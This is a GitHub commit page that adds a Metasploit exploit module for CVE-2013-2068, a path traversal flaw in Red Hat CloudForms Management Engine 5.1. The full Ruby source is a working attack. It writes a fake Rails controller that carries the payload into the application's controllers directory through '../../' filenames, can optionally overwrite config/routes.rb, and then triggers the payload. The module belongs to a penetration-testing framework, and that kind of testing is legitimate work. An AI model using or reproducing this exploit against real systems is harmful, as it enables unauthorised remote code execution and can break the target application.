Skip to content

Commit ab69454

Browse files
committed
Land rapid7#2745, @rcvalle's exploit for CVE-2013-2068
2 parents a4811bd + 6487d67 commit ab69454

File tree

1 file changed

+150
-0
lines changed

1 file changed

+150
-0
lines changed
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize
14+
super(
15+
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
16+
'Description' => %q{
17+
This module exploits a path traversal vulnerability in the "linuxpkgs"
18+
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
19+
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
20+
It uploads a fake controller to the controllers directory of the Rails
21+
application with the encoded payload as an action and sends a request to
22+
this action to execute the payload. Optionally, it can also upload a routing
23+
file containing a route to the action. (Which is not necessary, since the
24+
application already contains a general default route.)
25+
},
26+
'Author' => 'Ramon de C Valle',
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['CVE', '2013-2068'],
31+
['CWE', '22'],
32+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
33+
],
34+
'Platform' => 'ruby',
35+
'Arch' => ARCH_RUBY,
36+
'Privileged' => true,
37+
'Targets' =>
38+
[
39+
['Automatic', {}]
40+
],
41+
'DisclosureDate' => 'Sep 4 2013',
42+
'DefaultOptions' =>
43+
{
44+
'PrependFork' => true,
45+
'SSL' => true
46+
},
47+
'DefaultTarget' => 0
48+
)
49+
50+
register_options(
51+
[
52+
Opt::RPORT(443),
53+
OptString.new('CONTROLLER', [false, 'The name of the controller']),
54+
OptString.new('ACTION', [false, 'The name of the action']),
55+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
56+
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
57+
], self.class
58+
)
59+
60+
register_advanced_options(
61+
[
62+
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
63+
], self.class)
64+
end
65+
66+
def check
67+
res = send_request_cgi(
68+
'uri' => normalize_uri(target_uri.path, "ping.html")
69+
)
70+
71+
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
72+
return Exploit::CheckCode::Detected
73+
end
74+
75+
return Exploit::CheckCode::Unknown
76+
end
77+
78+
def exploit
79+
controller =
80+
if datastore['CONTROLLER'].blank?
81+
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
82+
else
83+
datastore['CONTROLLER'].downcase
84+
end
85+
86+
action =
87+
if datastore['ACTION'].blank?
88+
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
89+
else
90+
datastore['ACTION'].downcase
91+
end
92+
93+
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
94+
95+
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
96+
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
97+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
98+
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
99+
# According to rcvalle, all the version have not been checked
100+
# so we're not sure if res.code will be always 500, in order
101+
# to not lose sessions, just print warning and proceeding
102+
unless res and res.code == 500
103+
print_warning("Unexpected reply but proceeding anyway...")
104+
end
105+
106+
if datastore['ROUTES']
107+
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
108+
109+
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
110+
res = upload_file("../../config/routes.rb", data)
111+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
112+
# According to rcvalle, all the version have not been checked
113+
# so we're not sure if res.code will be always 500, in order
114+
# to not lose sessions, just print warning and proceeding
115+
unless res and res.code == 500
116+
print_warning("Unexpected reply but proceeding anyway...")
117+
end
118+
end
119+
120+
print_status("Sending execute request to #{target_url(controller, action)}...")
121+
send_request_cgi(
122+
'method' => 'POST',
123+
'uri' => normalize_uri(target_uri.path, controller, action)
124+
)
125+
end
126+
127+
def upload_file(filename, data)
128+
res = send_request_cgi(
129+
'method' => datastore['HTTP_METHOD'],
130+
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
131+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
132+
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
133+
'filename' => filename,
134+
'md5' => Rex::Text.md5(data)
135+
}
136+
)
137+
138+
return res
139+
end
140+
141+
def target_url(*args)
142+
(ssl ? 'https' : 'http') +
143+
if rport.to_i == 80 || rport.to_i == 443
144+
"://#{vhost}"
145+
else
146+
"://#{vhost}:#{rport}"
147+
end + normalize_uri(target_uri.path, *args)
148+
end
149+
end
150+

0 commit comments

Comments
 (0)